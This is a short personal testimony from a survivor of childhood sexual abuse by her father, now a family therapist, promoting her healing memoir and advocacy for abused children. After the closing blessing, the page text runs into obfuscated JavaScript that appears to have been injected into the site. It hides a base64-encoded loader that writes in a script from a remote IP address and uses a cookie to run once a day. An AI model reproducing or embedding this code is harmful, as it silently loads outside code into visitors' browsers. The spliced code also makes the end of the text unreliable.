061 – Catherine M (United States)

My name is Catherine M. I am a wife, mother, grandmother, and a marriage and family therapist. I am also an incest survivor. My father, an untreated manic depressive and alcoholic and an esteemed physician, sexually abused me from the age of about 3 to 17. Though I had many very painful memories of ,my childhood I did not remember the sexual abuse until I was about 40 years old and my mother was dying.At that time I developed PTSD and was plagued with flashbacks. I am now 61 and a new author. In April of 2009 my book, WHEN THE PIANO STOPS: A MEMOIR OF HEALING FROM SEXUAL ABUSE was published by Seal Press. I wrote it in solidarity with others who have endured sexual abuse and those who love them, and I wrote it because of the estimated 3 million children who are being abused now.You can learn more about my book and related work at www.whenthepianostops.com or at its facebook fan page. I sometimes reflect on the fact that it took me more than half a century to get to the point where I could tell the world my story. It wasn’t easy but it was imperative to do so, because this has got to stop! I spend a good portion of my time promoting my book through speaking engagements, readings and book signings, and interviews. I want my book to become a call to arms, loving arms–the only kind of arms that should ever touch a child. And I want to spread the message that healing is possible. Many people have helped me along the way; some of them have been authors. Reading their stories helped me to articulate mine, and gave me clues about how healing happens. Peace be with you, and continued healing. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘